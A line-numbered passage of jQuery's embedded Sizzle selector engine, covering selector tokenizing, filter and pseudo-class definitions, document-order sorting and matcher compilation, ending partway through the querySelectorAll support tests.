4125 for ( ; (elem = results[i]); i++ ) {
4126 if ( elem.nodeType === 1 ) {
4127 tmp.push( elem );
4128 }
4129 }
4130
4131 return tmp;
4132 }
4133 return results;
4134 },
4135
4136 "NAME": assertUsableName && function( tag, context ) {
4137 if ( typeof context.getElementsByName !== strundefined ) {
4138 return context.getElementsByName( name );
4139 }
4140 },
4141
4142 "CLASS": assertUsableClassName && function( className, context, xml ) {
4143 if ( typeof context.getElementsByClassName !== strundefined && !xml ) {
4144 return context.getElementsByClassName( className );
4145 }
4146 }
4147 },
4148
4149 relative: {
4150 ">": { dir: "parentNode", first: true },
4151 " ": { dir: "parentNode" },
4152 "+": { dir: "previousSibling", first: true },
4153 "~": { dir: "previousSibling" }
4154 },
4155
4156 preFilter: {
4157 "ATTR": function( match ) {
4158 match[1] = match[1].replace( rbackslash, "" );
4159
4160 // Move the given value to match[3] whether quoted or unquoted
4161 match[3] = ( match[4] || match[5] || "" ).replace( rbackslash, "" );
4162
4163 if ( match[2] === "~=" ) {
4164 match[3] = " " + match[3] + " ";
4165 }
4166
4167 return match.slice( 0, 4 );
4168 },
4169
4170 "CHILD": function( match ) {
4171 /* matches from matchExpr["CHILD"]
4172 1 type (only|nth|...)
4173 2 argument (even|odd|\d*|\d*n([+-]\d+)?|...)
4174 3 xn-component of xn+y argument ([+-]?\d*n|)
4175 4 sign of xn-component
4176 5 x of xn-component
4177 6 sign of y-component
4178 7 y of y-component
4179 */
4180 match[1] = match[1].toLowerCase();
4181
4182 if ( match[1] === "nth" ) {
4183 // nth-child requires argument
4184 if ( !match[2] ) {
4185 Sizzle.error( match[0] );
4186 }
4187
4188 // numeric x and y parameters for Expr.filter.CHILD
4189 // remember that false/true cast respectively to 0/1
4190 match[3] = +( match[3] ? match[4] + (match[5] || 1) : 2 * ( match[2] === "even" || match[2] === "odd" ) );
4191 match[4] = +( ( match[6] + match[7] ) || match[2] === "odd" );
4192
4193 // other types prohibit arguments
4194 } else if ( match[2] ) {
4195 Sizzle.error( match[0] );
4196 }
4197
4198 return match;
4199 },
4200
4201 "PSEUDO": function( match ) {
4202 var unquoted, excess;
4203 if ( matchExpr["CHILD"].test( match[0] ) ) {
4204 return null;
4205 }
4206
4207 if ( match[3] ) {
4208 match[2] = match[3];
4209 } else if ( (unquoted = match[4]) ) {
4210 // Only check arguments that contain a pseudo
4211 if ( rpseudo.test(unquoted) &&
4212 // Get excess from tokenize (recursively)
4213 (excess = tokenize( unquoted, true )) &&
4214 // advance to the next closing parenthesis
4215 (excess = unquoted.indexOf( ")", unquoted.length - excess ) - unquoted.length) ) {
4216
4217 // excess is a negative index
4218 unquoted = unquoted.slice( 0, excess );
4219 match[0] = match[0].slice( 0, excess );
4220 }
4221 match[2] = unquoted;
4222 }
4223
4224 // Return only captures needed by the pseudo filter method (type and argument)
4225 return match.slice( 0, 3 );
4226 }
4227 },
4228
4229 filter: {
4230 "ID": assertGetIdNotName ?
4231 function( id ) {
4232 id = id.replace( rbackslash, "" );
4233 return function( elem ) {
4234 return elem.getAttribute("id") === id;
4235 };
4236 } :
4237 function( id ) {
4238 id = id.replace( rbackslash, "" );
4239 return function( elem ) {
4240 var node = typeof elem.getAttributeNode !== strundefined && elem.getAttributeNode("id");
4241 return node && node.value === id;
4242 };
4243 },
4244
4245 "TAG": function( nodeName ) {
4246 if ( nodeName === "*" ) {
4247 return function() { return true; };
4248 }
4249 nodeName = nodeName.replace( rbackslash, "" ).toLowerCase();
4250
4251 return function( elem ) {
4252 return elem.nodeName && elem.nodeName.toLowerCase() === nodeName;
4253 };
4254 },
4255
4256 "CLASS": function( className ) {
4257 var pattern = classCache[ expando ][ className + " " ];
4258
4259 return pattern ||
4260 (pattern = new RegExp( "(^|" + whitespace + ")" + className + "(" + whitespace + "|$)" )) &&
4261 classCache( className, function( elem ) {
4262 return pattern.test( elem.className || (typeof elem.getAttribute !== strundefined && elem.getAttribute("class")) || "" );
4263 });
4264 },
4265
4266 "ATTR": function( name, operator, check ) {
4267 return function( elem, context ) {
4268 var result = Sizzle.attr( elem, name );
4269
4270 if ( result == null ) {
4271 return operator === "!=";
4272 }
4273 if ( !operator ) {
4274 return true;
4275 }
4276
4277 result += "";
4278
4279 return operator === "=" ? result === check :
4280 operator === "!=" ? result !== check :
4281 operator === "^=" ? check && result.indexOf( check ) === 0 :
4282 operator === "*=" ? check && result.indexOf( check ) > -1 :
4283 operator === "$=" ? check && result.substr( result.length - check.length ) === check :
4284 operator === "~=" ? ( " " + result + " " ).indexOf( check ) > -1 :
4285 operator === "|=" ? result === check || result.substr( 0, check.length + 1 ) === check + "-" :
4286 false;
4287 };
4288 },
4289
4290 "CHILD": function( type, argument, first, last ) {
4291
4292 if ( type === "nth" ) {
4293 return function( elem ) {
4294 var node, diff,
4295 parent = elem.parentNode;
4296
4297 if ( first === 1 && last === 0 ) {
4298 return true;
4299 }
4300
4301 if ( parent ) {
4302 diff = 0;
4303 for ( node = parent.firstChild; node; node = node.nextSibling ) {
4304 if ( node.nodeType === 1 ) {
4305 diff++;
4306 if ( elem === node ) {
4307 break;
4308 }
4309 }
4310 }
4311 }
4312
4313 // Incorporate the offset (or cast to NaN), then check against cycle size
4314 diff -= last;
4315 return diff === first || ( diff % first === 0 && diff / first >= 0 );
4316 };
4317 }
4318
4319 return function( elem ) {
4320 var node = elem;
4321
4322 switch ( type ) {
4323 case "only":
4324 case "first":
4325 while ( (node = node.previousSibling) ) {
4326 if ( node.nodeType === 1 ) {
4327 return false;
4328 }
4329 }
4330
4331 if ( type === "first" ) {
4332 return true;
4333 }
4334
4335 node = elem;
4336
4337 /* falls through */
4338 case "last":
4339 while ( (node = node.nextSibling) ) {
4340 if ( node.nodeType === 1 ) {
4341 return false;
4342 }
4343 }
4344
4345 return true;
4346 }
4347 };
4348 },
4349
4350 "PSEUDO": function( pseudo, argument ) {
4351 // pseudo-class names are case-insensitive
4352 // http://www.w3.org/TR/selectors/#pseudo-classes
4353 // Prioritize by case sensitivity in case custom pseudos are added with uppercase letters
4354 // Remember that setFilters inherits from pseudos
4355 var args,
4356 fn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] ||
4357 Sizzle.error( "unsupported pseudo: " + pseudo );
4358
4359 // The user may use createPseudo to indicate that
4360 // arguments are needed to create the filter function
4361 // just as Sizzle does
4362 if ( fn[ expando ] ) {
4363 return fn( argument );
4364 }
4365
4366 // But maintain support for old signatures
4367 if ( fn.length > 1 ) {
4368 args = [ pseudo, pseudo, "", argument ];
4369 return Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ?
4370 markFunction(function( seed, matches ) {
4371 var idx,
4372 matched = fn( seed, argument ),
4373 i = matched.length;
4374 while ( i-- ) {
4375 idx = indexOf.call( seed, matched[i] );
4376 seed[ idx ] = !( matches[ idx ] = matched[i] );
4377 }
4378 }) :
4379 function( elem ) {
4380 return fn( elem, 0, args );
4381 };
4382 }
4383
4384 return fn;
4385 }
4386 },
4387
4388 pseudos: {
4389 "not": markFunction(function( selector ) {
4390 // Trim the selector passed to compile
4391 // to avoid treating leading and trailing
4392 // spaces as combinators
4393 var input = [],
4394 results = [],
4395 matcher = compile( selector.replace( rtrim, "$1" ) );
4396
4397 return matcher[ expando ] ?
4398 markFunction(function( seed, matches, context, xml ) {
4399 var elem,
4400 unmatched = matcher( seed, null, xml, [] ),
4401 i = seed.length;
4402
4403 // Match elements unmatched by `matcher`
4404 while ( i-- ) {
4405 if ( (elem = unmatched[i]) ) {
4406 seed[i] = !(matches[i] = elem);
4407 }
4408 }
4409 }) :
4410 function( elem, context, xml ) {
4411 input[0] = elem;
4412 matcher( input, null, xml, results );
4413 return !results.pop();
4414 };
4415 }),
4416
4417 "has": markFunction(function( selector ) {
4418 return function( elem ) {
4419 return Sizzle( selector, elem ).length > 0;
4420 };
4421 }),
4422
4423 "contains": markFunction(function( text ) {
4424 return function( elem ) {
4425 return ( elem.textContent || elem.innerText || getText( elem ) ).indexOf( text ) > -1;
4426 };
4427 }),
4428
4429 "enabled": function( elem ) {
4430 return elem.disabled === false;
4431 },
4432
4433 "disabled": function( elem ) {
4434 return elem.disabled === true;
4435 },
4436
4437 "checked": function( elem ) {
4438 // In CSS3, :checked should return both checked and selected elements
4439 // http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
4440 var nodeName = elem.nodeName.toLowerCase();
4441 return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected);
4442 },
4443
4444 "selected": function( elem ) {
4445 // Accessing this property makes selected-by-default
4446 // options in Safari work properly
4447 if ( elem.parentNode ) {
4448 elem.parentNode.selectedIndex;
4449 }
4450
4451 return elem.selected === true;
4452 },
4453
4454 "parent": function( elem ) {
4455 return !Expr.pseudos["empty"]( elem );
4456 },
4457
4458 "empty": function( elem ) {
4459 // http://www.w3.org/TR/selectors/#empty-pseudo
4460 // :empty is only affected by element nodes and content nodes(including text(3), cdata(4)),
4461 // not comment, processing instructions, or others
4462 // Thanks to Diego Perini for the nodeName shortcut
4463 // Greater than "@" means alpha characters (specifically not starting with "#" or "?")
4464 var nodeType;
4465 elem = elem.firstChild;
4466 while ( elem ) {
4467 if ( elem.nodeName > "@" || (nodeType = elem.nodeType) === 3 || nodeType === 4 ) {
4468 return false;
4469 }
4470 elem = elem.nextSibling;
4471 }
4472 return true;
4473 },
4474
4475 "header": function( elem ) {
4476 return rheader.test( elem.nodeName );
4477 },
4478
4479 "text": function( elem ) {
4480 var type, attr;
4481 // IE6 and 7 will map elem.type to 'text' for new HTML5 types (search, etc)
4482 // use getAttribute instead to test this case
4483 return elem.nodeName.toLowerCase() === "input" &&
4484 (type = elem.type) === "text" &&
4485 ( (attr = elem.getAttribute("type")) == null || attr.toLowerCase() === type );
4486 },
4487
4488 // Input types
4489 "radio": createInputPseudo("radio"),
4490 "checkbox": createInputPseudo("checkbox"),
4491 "file": createInputPseudo("file"),
4492 "password": createInputPseudo("password"),
4493 "image": createInputPseudo("image"),
4494
4495 "submit": createButtonPseudo("submit"),
4496 "reset": createButtonPseudo("reset"),
4497
4498 "button": function( elem ) {
4499 var name = elem.nodeName.toLowerCase();
4500 return name === "input" && elem.type === "button" || name === "button";
4501 },
4502
4503 "input": function( elem ) {
4504 return rinputs.test( elem.nodeName );
4505 },
4506
4507 "focus": function( elem ) {
4508 var doc = elem.ownerDocument;
4509 return elem === doc.activeElement && (!doc.hasFocus || doc.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex);
4510 },
4511
4512 "active": function( elem ) {
4513 return elem === elem.ownerDocument.activeElement;
4514 },
4515
4516 // Positional types
4517 "first": createPositionalPseudo(function() {
4518 return [ 0 ];
4519 }),
4520
4521 "last": createPositionalPseudo(function( matchIndexes, length ) {
4522 return [ length - 1 ];
4523 }),
4524
4525 "eq": createPositionalPseudo(function( matchIndexes, length, argument ) {
4526 return [ argument < 0 ? argument + length : argument ];
4527 }),
4528
4529 "even": createPositionalPseudo(function( matchIndexes, length ) {
4530 for ( var i = 0; i < length; i += 2 ) {
4531 matchIndexes.push( i );
4532 }
4533 return matchIndexes;
4534 }),
4535
4536 "odd": createPositionalPseudo(function( matchIndexes, length ) {
4537 for ( var i = 1; i < length; i += 2 ) {
4538 matchIndexes.push( i );
4539 }
4540 return matchIndexes;
4541 }),
4542
4543 "lt": createPositionalPseudo(function( matchIndexes, length, argument ) {
4544 for ( var i = argument < 0 ? argument + length : argument; --i >= 0; ) {
4545 matchIndexes.push( i );
4546 }
4547 return matchIndexes;
4548 }),
4549
4550 "gt": createPositionalPseudo(function( matchIndexes, length, argument ) {
4551 for ( var i = argument < 0 ? argument + length : argument; ++i < length; ) {
4552 matchIndexes.push( i );
4553 }
4554 return matchIndexes;
4555 })
4556 }
4557 };
4558
4559 function siblingCheck( a, b, ret ) {
4560 if ( a === b ) {
4561 return ret;
4562 }
4563
4564 var cur = a.nextSibling;
4565
4566 while ( cur ) {
4567 if ( cur === b ) {
4568 return -1;
4569 }
4570
4571 cur = cur.nextSibling;
4572 }
4573
4574 return 1;
4575 }
4576
4577 sortOrder = docElem.compareDocumentPosition ?
4578 function( a, b ) {
4579 if ( a === b ) {
4580 hasDuplicate = true;
4581 return 0;
4582 }
4583
4584 return ( !a.compareDocumentPosition || !b.compareDocumentPosition ?
4585 a.compareDocumentPosition :
4586 a.compareDocumentPosition(b) & 4
4587 ) ? -1 : 1;
4588 } :
4589 function( a, b ) {
4590 // The nodes are identical, we can exit early
4591 if ( a === b ) {
4592 hasDuplicate = true;
4593 return 0;
4594
4595 // Fallback to using sourceIndex (in IE) if it's available on both nodes
4596 } else if ( a.sourceIndex && b.sourceIndex ) {
4597 return a.sourceIndex - b.sourceIndex;
4598 }
4599
4600 var al, bl,
4601 ap = [],
4602 bp = [],
4603 aup = a.parentNode,
4604 bup = b.parentNode,
4605 cur = aup;
4606
4607 // If the nodes are siblings (or identical) we can do a quick check
4608 if ( aup === bup ) {
4609 return siblingCheck( a, b );
4610
4611 // If no parents were found then the nodes are disconnected
4612 } else if ( !aup ) {
4613 return -1;
4614
4615 } else if ( !bup ) {
4616 return 1;
4617 }
4618
4619 // Otherwise they're somewhere else in the tree so we need
4620 // to build up a full list of the parentNodes for comparison
4621 while ( cur ) {
4622 ap.unshift( cur );
4623 cur = cur.parentNode;
4624 }
4625
4626 cur = bup;
4627
4628 while ( cur ) {
4629 bp.unshift( cur );
4630 cur = cur.parentNode;
4631 }
4632
4633 al = ap.length;
4634 bl = bp.length;
4635
4636 // Start walking down the tree looking for a discrepancy
4637 for ( var i = 0; i < al && i < bl; i++ ) {
4638 if ( ap[i] !== bp[i] ) {
4639 return siblingCheck( ap[i], bp[i] );
4640 }
4641 }
4642
4643 // We ended someplace up the tree so do a sibling check
4644 return i === al ?
4645 siblingCheck( a, bp[i], -1 ) :
4646 siblingCheck( ap[i], b, 1 );
4647 };
4648
4649 // Always assume the presence of duplicates if sort doesn't
4650 // pass them to our comparison function (as in Google Chrome).
4651 [0, 0].sort( sortOrder );
4652 baseHasDuplicate = !hasDuplicate;
4653
4654 // Document sorting and removing duplicates
4655 Sizzle.uniqueSort = function( results ) {
4656 var elem,
4657 duplicates = [],
4658 i = 1,
4659 j = 0;
4660
4661 hasDuplicate = baseHasDuplicate;
4662 results.sort( sortOrder );
4663
4664 if ( hasDuplicate ) {
4665 for ( ; (elem = results[i]); i++ ) {
4666 if ( elem === results[ i - 1 ] ) {
4667 j = duplicates.push( i );
4668 }
4669 }
4670 while ( j-- ) {
4671 results.splice( duplicates[ j ], 1 );
4672 }
4673 }
4674
4675 return results;
4676 };
4677
4678 Sizzle.error = function( msg ) {
4679 throw new Error( "Syntax error, unrecognized expression: " + msg );
4680 };
4681
4682 function tokenize( selector, parseOnly ) {
4683 var matched, match, tokens, type,
4684 soFar, groups, preFilters,
4685 cached = tokenCache[ expando ][ selector + " " ];
4686
4687 if ( cached ) {
4688 return parseOnly ? 0 : cached.slice( 0 );
4689 }
4690
4691 soFar = selector;
4692 groups = [];
4693 preFilters = Expr.preFilter;
4694
4695 while ( soFar ) {
4696
4697 // Comma and first run
4698 if ( !matched || (match = rcomma.exec( soFar )) ) {
4699 if ( match ) {
4700 // Don't consume trailing commas as valid
4701 soFar = soFar.slice( match[0].length ) || soFar;
4702 }
4703 groups.push( tokens = [] );
4704 }
4705
4706 matched = false;
4707
4708 // Combinators
4709 if ( (match = rcombinators.exec( soFar )) ) {
4710 tokens.push( matched = new Token( match.shift() ) );
4711 soFar = soFar.slice( matched.length );
4712
4713 // Cast descendant combinators to space
4714 matched.type = match[0].replace( rtrim, " " );
4715 }
4716
4717 // Filters
4718 for ( type in Expr.filter ) {
4719 if ( (match = matchExpr[ type ].exec( soFar )) && (!preFilters[ type ] ||
4720 (match = preFilters[ type ]( match ))) ) {
4721
4722 tokens.push( matched = new Token( match.shift() ) );
4723 soFar = soFar.slice( matched.length );
4724 matched.type = type;
4725 matched.matches = match;
4726 }
4727 }
4728
4729 if ( !matched ) {
4730 break;
4731 }
4732 }
4733
4734 // Return the length of the invalid excess
4735 // if we're just parsing
4736 // Otherwise, throw an error or return tokens
4737 return parseOnly ?
4738 soFar.length :
4739 soFar ?
4740 Sizzle.error( selector ) :
4741 // Cache the tokens
4742 tokenCache( selector, groups ).slice( 0 );
4743 }
4744
4745 function addCombinator( matcher, combinator, base ) {
4746 var dir = combinator.dir,
4747 checkNonElements = base && combinator.dir === "parentNode",
4748 doneName = done++;
4749
4750 return combinator.first ?
4751 // Check against closest ancestor/preceding element
4752 function( elem, context, xml ) {
4753 while ( (elem = elem[ dir ]) ) {
4754 if ( checkNonElements || elem.nodeType === 1 ) {
4755 return matcher( elem, context, xml );
4756 }
4757 }
4758 } :
4759
4760 // Check against all ancestor/preceding elements
4761 function( elem, context, xml ) {
4762 // We can't set arbitrary data on XML nodes, so they don't benefit from dir caching
4763 if ( !xml ) {
4764 var cache,
4765 dirkey = dirruns + " " + doneName + " ",
4766 cachedkey = dirkey + cachedruns;
4767 while ( (elem = elem[ dir ]) ) {
4768 if ( checkNonElements || elem.nodeType === 1 ) {
4769 if ( (cache = elem[ expando ]) === cachedkey ) {
4770 return elem.sizset;
4771 } else if ( typeof cache === "string" && cache.indexOf(dirkey) === 0 ) {
4772 if ( elem.sizset ) {
4773 return elem;
4774 }
4775 } else {
4776 elem[ expando ] = cachedkey;
4777 if ( matcher( elem, context, xml ) ) {
4778 elem.sizset = true;
4779 return elem;
4780 }
4781 elem.sizset = false;
4782 }
4783 }
4784 }
4785 } else {
4786 while ( (elem = elem[ dir ]) ) {
4787 if ( checkNonElements || elem.nodeType === 1 ) {
4788 if ( matcher( elem, context, xml ) ) {
4789 return elem;
4790 }
4791 }
4792 }
4793 }
4794 };
4795 }
4796
4797 function elementMatcher( matchers ) {
4798 return matchers.length > 1 ?
4799 function( elem, context, xml ) {
4800 var i = matchers.length;
4801 while ( i-- ) {
4802 if ( !matchers[i]( elem, context, xml ) ) {
4803 return false;
4804 }
4805 }
4806 return true;
4807 } :
4808 matchers[0];
4809 }
4810
4811 function condense( unmatched, map, filter, context, xml ) {
4812 var elem,
4813 newUnmatched = [],
4814 i = 0,
4815 len = unmatched.length,
4816 mapped = map != null;
4817
4818 for ( ; i < len; i++ ) {
4819 if ( (elem = unmatched[i]) ) {
4820 if ( !filter || filter( elem, context, xml ) ) {
4821 newUnmatched.push( elem );
4822 if ( mapped ) {
4823 map.push( i );
4824 }
4825 }
4826 }
4827 }
4828
4829 return newUnmatched;
4830 }
4831
4832 function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) {
4833 if ( postFilter && !postFilter[ expando ] ) {
4834 postFilter = setMatcher( postFilter );
4835 }
4836 if ( postFinder && !postFinder[ expando ] ) {
4837 postFinder = setMatcher( postFinder, postSelector );
4838 }
4839 return markFunction(function( seed, results, context, xml ) {
4840 var temp, i, elem,
4841 preMap = [],
4842 postMap = [],
4843 preexisting = results.length,
4844
4845 // Get initial elements from seed or context
4846 elems = seed || multipleContexts( selector || "*", context.nodeType ? [ context ] : context, [] ),
4847
4848 // Prefilter to get matcher input, preserving a map for seed-results synchronization
4849 matcherIn = preFilter && ( seed || !selector ) ?
4850 condense( elems, preMap, preFilter, context, xml ) :
4851 elems,
4852
4853 matcherOut = matcher ?
4854 // If we have a postFinder, or filtered seed, or non-seed postFilter or preexisting results,
4855 postFinder || ( seed ? preFilter : preexisting || postFilter ) ?
4856
4857 // ...intermediate processing is necessary
4858 [] :
4859
4860 // ...otherwise use results directly
4861 results :
4862 matcherIn;
4863
4864 // Find primary matches
4865 if ( matcher ) {
4866 matcher( matcherIn, matcherOut, context, xml );
4867 }
4868
4869 // Apply postFilter
4870 if ( postFilter ) {
4871 temp = condense( matcherOut, postMap );
4872 postFilter( temp, [], context, xml );
4873
4874 // Un-match failing elements by moving them back to matcherIn
4875 i = temp.length;
4876 while ( i-- ) {
4877 if ( (elem = temp[i]) ) {
4878 matcherOut[ postMap[i] ] = !(matcherIn[ postMap[i] ] = elem);
4879 }
4880 }
4881 }
4882
4883 if ( seed ) {
4884 if ( postFinder || preFilter ) {
4885 if ( postFinder ) {
4886 // Get the final matcherOut by condensing this intermediate into postFinder contexts
4887 temp = [];
4888 i = matcherOut.length;
4889 while ( i-- ) {
4890 if ( (elem = matcherOut[i]) ) {
4891 // Restore matcherIn since elem is not yet a final match
4892 temp.push( (matcherIn[i] = elem) );
4893 }
4894 }
4895 postFinder( null, (matcherOut = []), temp, xml );
4896 }
4897
4898 // Move matched elements from seed to results to keep them synchronized
4899 i = matcherOut.length;
4900 while ( i-- ) {
4901 if ( (elem = matcherOut[i]) &&
4902 (temp = postFinder ? indexOf.call( seed, elem ) : preMap[i]) > -1 ) {
4903
4904 seed[temp] = !(results[temp] = elem);
4905 }
4906 }
4907 }
4908
4909 // Add elements to results, through postFinder if defined
4910 } else {
4911 matcherOut = condense(
4912 matcherOut === results ?
4913 matcherOut.splice( preexisting, matcherOut.length ) :
4914 matcherOut
4915 );
4916 if ( postFinder ) {
4917 postFinder( null, results, matcherOut, xml );
4918 } else {
4919 push.apply( results, matcherOut );
4920 }
4921 }
4922 });
4923 }
4924
4925 function matcherFromTokens( tokens ) {
4926 var checkContext, matcher, j,
4927 len = tokens.length,
4928 leadingRelative = Expr.relative[ tokens[0].type ],
4929 implicitRelative = leadingRelative || Expr.relative[" "],
4930 i = leadingRelative ? 1 : 0,
4931
4932 // The foundational matcher ensures that elements are reachable from top-level context(s)
4933 matchContext = addCombinator( function( elem ) {
4934 return elem === checkContext;
4935 }, implicitRelative, true ),
4936 matchAnyContext = addCombinator( function( elem ) {
4937 return indexOf.call( checkContext, elem ) > -1;
4938 }, implicitRelative, true ),
4939 matchers = [ function( elem, context, xml ) {
4940 return ( !leadingRelative && ( xml || context !== outermostContext ) ) || (
4941 (checkContext = context).nodeType ?
4942 matchContext( elem, context, xml ) :
4943 matchAnyContext( elem, context, xml ) );
4944 } ];
4945
4946 for ( ; i < len; i++ ) {
4947 if ( (matcher = Expr.relative[ tokens[i].type ]) ) {
4948 matchers = [ addCombinator( elementMatcher( matchers ), matcher ) ];
4949 } else {
4950 matcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches );
4951
4952 // Return special upon seeing a positional matcher
4953 if ( matcher[ expando ] ) {
4954 // Find the next relative operator (if any) for proper handling
4955 j = ++i;
4956 for ( ; j < len; j++ ) {
4957 if ( Expr.relative[ tokens[j].type ] ) {
4958 break;
4959 }
4960 }
4961 return setMatcher(
4962 i > 1 && elementMatcher( matchers ),
4963 i > 1 && tokens.slice( 0, i - 1 ).join("").replace( rtrim, "$1" ),
4964 matcher,
4965 i < j && matcherFromTokens( tokens.slice( i, j ) ),
4966 j < len && matcherFromTokens( (tokens = tokens.slice( j )) ),
4967 j < len && tokens.join("")
4968 );
4969 }
4970 matchers.push( matcher );
4971 }
4972 }
4973
4974 return elementMatcher( matchers );
4975 }
4976
4977 function matcherFromGroupMatchers( elementMatchers, setMatchers ) {
4978 var bySet = setMatchers.length > 0,
4979 byElement = elementMatchers.length > 0,
4980 superMatcher = function( seed, context, xml, results, expandContext ) {
4981 var elem, j, matcher,
4982 setMatched = [],
4983 matchedCount = 0,
4984 i = "0",
4985 unmatched = seed && [],
4986 outermost = expandContext != null,
4987 contextBackup = outermostContext,
4988 // We must always have either seed elements or context
4989 elems = seed || byElement && Expr.find["TAG"]( "*", expandContext && context.parentNode || context ),
4990 // Nested matchers should use non-integer dirruns
4991 dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.E);
4992
4993 if ( outermost ) {
4994 outermostContext = context !== document && context;
4995 cachedruns = superMatcher.el;
4996 }
4997
4998 // Add elements passing elementMatchers directly to results
4999 for ( ; (elem = elems[i]) != null; i++ ) {
5000 if ( byElement && elem ) {
5001 for ( j = 0; (matcher = elementMatchers[j]); j++ ) {
5002 if ( matcher( elem, context, xml ) ) {
5003 results.push( elem );
5004 break;
5005 }
5006 }
5007 if ( outermost ) {
5008 dirruns = dirrunsUnique;
5009 cachedruns = ++superMatcher.el;
5010 }
5011 }
5012
5013 // Track unmatched elements for set filters
5014 if ( bySet ) {
5015 // They will have gone through all possible matchers
5016 if ( (elem = !matcher && elem) ) {
5017 matchedCount--;
5018 }
5019
5020 // Lengthen the array for every element, matched or not
5021 if ( seed ) {
5022 unmatched.push( elem );
5023 }
5024 }
5025 }
5026
5027 // Apply set filters to unmatched elements
5028 matchedCount += i;
5029 if ( bySet && i !== matchedCount ) {
5030 for ( j = 0; (matcher = setMatchers[j]); j++ ) {
5031 matcher( unmatched, setMatched, context, xml );
5032 }
5033
5034 if ( seed ) {
5035 // Reintegrate element matches to eliminate the need for sorting
5036 if ( matchedCount > 0 ) {
5037 while ( i-- ) {
5038 if ( !(unmatched[i] || setMatched[i]) ) {
5039 setMatched[i] = pop.call( results );
5040 }
5041 }
5042 }
5043
5044 // Discard index placeholder values to get only actual matches
5045 setMatched = condense( setMatched );
5046 }
5047
5048 // Add matches to results
5049 push.apply( results, setMatched );
5050
5051 // Seedless set matches succeeding multiple successful matchers stipulate sorting
5052 if ( outermost && !seed && setMatched.length > 0 &&
5053 ( matchedCount + setMatchers.length ) > 1 ) {
5054
5055 Sizzle.uniqueSort( results );
5056 }
5057 }
5058
5059 // Override manipulation of globals by nested matchers
5060 if ( outermost ) {
5061 dirruns = dirrunsUnique;
5062 outermostContext = contextBackup;
5063 }
5064
5065 return unmatched;
5066 };
5067
5068 superMatcher.el = 0;
5069 return bySet ?
5070 markFunction( superMatcher ) :
5071 superMatcher;
5072 }
5073
5074 compile = Sizzle.compile = function( selector, group /* Internal Use Only */ ) {
5075 var i,
5076 setMatchers = [],
5077 elementMatchers = [],
5078 cached = compilerCache[ expando ][ selector + " " ];
5079
5080 if ( !cached ) {
5081 // Generate a function of recursive functions that can be used to check each element
5082 if ( !group ) {
5083 group = tokenize( selector );
5084 }
5085 i = group.length;
5086 while ( i-- ) {
5087 cached = matcherFromTokens( group[i] );
5088 if ( cached[ expando ] ) {
5089 setMatchers.push( cached );
5090 } else {
5091 elementMatchers.push( cached );
5092 }
5093 }
5094
5095 // Cache the compiled function
5096 cached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) );
5097 }
5098 return cached;
5099 };
5100
5101 function multipleContexts( selector, contexts, results ) {
5102 var i = 0,
5103 len = contexts.length;
5104 for ( ; i < len; i++ ) {
5105 Sizzle( selector, contexts[i], results );
5106 }
5107 return results;
5108 }
5109
5110 function select( selector, context, results, seed, xml ) {
5111 var i, tokens, token, type, find,
5112 match = tokenize( selector ),
5113 j = match.length;
5114
5115 if ( !seed ) {
5116 // Try to minimize operations if there is only one group
5117 if ( match.length === 1 ) {
5118
5119 // Take a shortcut and set the context if the root selector is an ID
5120 tokens = match[0] = match[0].slice( 0 );
5121 if ( tokens.length > 2 && (token = tokens[0]).type === "ID" &&
5122 context.nodeType === 9 && !xml &&
5123 Expr.relative[ tokens[1].type ] ) {
5124
5125 context = Expr.find["ID"]( token.matches[0].replace( rbackslash, "" ), context, xml )[0];
5126 if ( !context ) {
5127 return results;
5128 }
5129
5130 selector = selector.slice( tokens.shift().length );
5131 }
5132
5133 // Fetch a seed set for right-to-left matching
5134 for ( i = matchExpr["POS"].test( selector ) ? -1 : tokens.length - 1; i >= 0; i-- ) {
5135 token = tokens[i];
5136
5137 // Abort if we hit a combinator
5138 if ( Expr.relative[ (type = token.type) ] ) {
5139 break;
5140 }
5141 if ( (find = Expr.find[ type ]) ) {
5142 // Search, expanding context for leading sibling combinators
5143 if ( (seed = find(
5144 token.matches[0].replace( rbackslash, "" ),
5145 rsibling.test( tokens[0].type ) && context.parentNode || context,
5146 xml
5147 )) ) {
5148
5149 // If seed is empty or no tokens remain, we can return early
5150 tokens.splice( i, 1 );
5151 selector = seed.length && tokens.join("");
5152 if ( !selector ) {
5153 push.apply( results, slice.call( seed, 0 ) );
5154 return results;
5155 }
5156
5157 break;
5158 }
5159 }
5160 }
5161 }
5162 }
5163
5164 // Compile and execute a filtering function
5165 // Provide `match` to avoid retokenization if we modified the selector above
5166 compile( selector, match )(
5167 seed,
5168 context,
5169 xml,
5170 results,
5171 rsibling.test( selector )
5172 );
5173 return results;
5174 }
5175
5176 if ( document.querySelectorAll ) {
5177 (function() {
5178 var disconnectedMatch,
5179 oldSelect = select,
5180 rescape = /'|\\/g,
5181 rattributeQuotes = /\=[\x20\t\r\n\f]*([^'"\]]*)[\x20\t\r\n\f]*\]/g,
5182
5183 // qSa(:focus) reports false when true (Chrome 21), no need to also add to buggyMatches since matches checks buggyQSA
5184 // A support test would require too much code (would include document ready)
5185 rbuggyQSA = [ ":focus" ],
5186
5187 // matchesSelector(:active) reports false when true (IE9/Opera 11.5)
5188 // A support test would require too much code (would include document ready)
5189 // just skip matchesSelector for :active
5190 rbuggyMatches = [ ":active" ],
5191 matches = docElem.matchesSelector ||
5192 docElem.mozMatchesSelector ||
5193 docElem.webkitMatchesSelector ||
5194 docElem.oMatchesSelector ||
5195 docElem.msMatchesSelector;
5196
5197 // Build QSA regex
5198 // Regex strategy adopted from Diego Perini
5199 assert(function( div ) {
5200 // Select is set to empty string on purpose
5201 // This is to test IE's treatment of not explictly
5202 // setting a boolean content attribute,
5203 // since its presence should be enough
5204 // http://bugs.jquery.com/ticket/12359
5205 div.innerHTML = "<select><option selected=''></option></select>";
5206
5207 // IE8 - Some boolean attributes are not treated correctly
5208 if ( !div.querySelectorAll("[selected]").length ) {
5209 rbuggyQSA.push( "\\[" + whitespace + "*(?:checked|disabled|ismap|multiple|readonly|selected|value)" );
5210 }
5211
5212 // Webkit/Opera - :checked should return selected option elements
